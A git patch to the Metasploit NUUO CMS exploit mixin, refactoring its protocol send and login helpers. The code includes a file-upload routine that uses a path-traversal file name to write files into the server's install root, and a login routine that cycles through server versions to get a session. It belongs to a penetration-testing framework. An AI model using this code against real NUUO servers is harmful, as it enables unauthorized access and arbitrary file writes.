From 733f784472b5fdac1ebdc901741adb8c301f78ae Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 30 Jan 2019 21:21:53 +0700 Subject: [PATCH] add bcoles suggestions --- lib/msf/core/exploit/remote/nuuo.rb | 143 ++++++++++------------------ 1 file changed, 51 insertions(+), 92 deletions(-) diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb index 3100df0ca99d..6b88ffd5b1a3 100644 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ b/lib/msf/core/exploit/remote/nuuo.rb @@ -26,8 +26,8 @@ def initialize(info = {}) Opt::RHOST, Opt::RPORT(5180), OptString.new('SESSION', [false, 'Session number of logged in user']), - OptString.new('USERNAME', [true, 'Username to login as', 'admin']), - OptString.new('PASSWORD', [false, 'Password for the specified user']), + OptString.new('USERNAME', [false, 'Username to login as', 'admin']), + OptString.new('PASSWORD', [false, 'Password for the specified user', '']), ], Msf::Exploit::Remote::Nuuo) register_advanced_options( @@ -89,63 +89,38 @@ def nucs_send_msg_async(msg) end end - ## - # Sends a protocol message synchronously - sends and returns the result - ## - def nucs_send_msg(msg) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - data = sock.recv(4096) - more_data = '' - if data =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - more_data << new_data - recv += new_data.length - end - end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [data, more_data] - rescue - return ["",""] - end - end - ## # Sends a protocol data message synchronously - sends and returns the result # A data message is composed of two parts: first the message length and protocol headers, - # then the actual data. + # then the actual data, while a non-data message only contains the first part. ## - def nucs_send_data_msg(msg, data) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - sock.write(data) - data = sock.recv(4096) - more_data = '' - if data =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - more_data << new_data - recv += new_data.length - end + def nucs_send_msg(msg, data = nil) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) + sock.write(format_msg(msg)) + if data != nil + sock.write(data.to_s) + end + res = sock.recv(4096) + more_data = '' + if res =~ /Content-Length:([0-9]+)/ + data_sz = $1.to_i + recv = 0 + while recv < data_sz + new_data = sock.recv(4096) + break if !new_data || new_data.length == 0 + more_data << new_data + recv += new_data.length end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [data, more_data] - rescue - return ["",""] end + # socket cannot be closed, it causes exploits to fail... + #sock.close + return [res, more_data] + rescue + return ['', ''] end + ## # Downloads a file from the CMS install root. # Add the ZIP extraction and decryption routine once support for it is added to msf. @@ -160,7 +135,7 @@ def nucs_download_file(filename, decrypt = false) # Uploads a file to the CMS install root. ## def nucs_upload_file(filename, file_data) - data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) + data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) if data[0] =~ /200/ true else @@ -168,56 +143,40 @@ def nucs_upload_file(filename, file_data) end end + # logs in to the NUCS server + # first, it tries to use the datastore SESSION if such exists + # if not, it then tries to login using the datastore USERNAME and PASSWORD + # In order to login properly, we need to guess the server version... + # ... so just try all of them until we hit the right one def nucs_login if datastore['SESSION'] != nil # since we're logged in, we don't need to guess the version any more @nucs_session = datastore['SESSION'] - elsif datastore['PASSWORD'] != nil - @nucs_versions.shuffle.each do |version| - @nucs_version = version - data = login_password - if data == nil - next - else - @nucs_session = data - break - end - end - else - @nucs_versions.shuffle.each do |version| - @nucs_version = version - data = login_nopass - if data == nil - next - else - @nucs_session = data - break - end - end + return end - end - private - def login_nopass - data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ - "Password-Length: 0", "TimeZone-Length: 0"]) - if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - return $1 - else - return nil - end - end + @nucs_versions.shuffle.each do |version| + @nucs_version = version - def login_password - data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ - "Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) - if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - return $1 - else - return nil + res = nucs_send_msg( + [ + "USERLOGIN", + "Version: #{@nucs_version}", + "Username: #{datastore['USERNAME']}", + "Password-Length: #{datastore['PASSWORD'].length}", + "TimeZone-Length: 0" + ], + datastore['PASSWORD'] + ) + + if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ + @nucs_session = $1 + break + end end end + private ## # Formats the message we want to send into the correct protocol format ##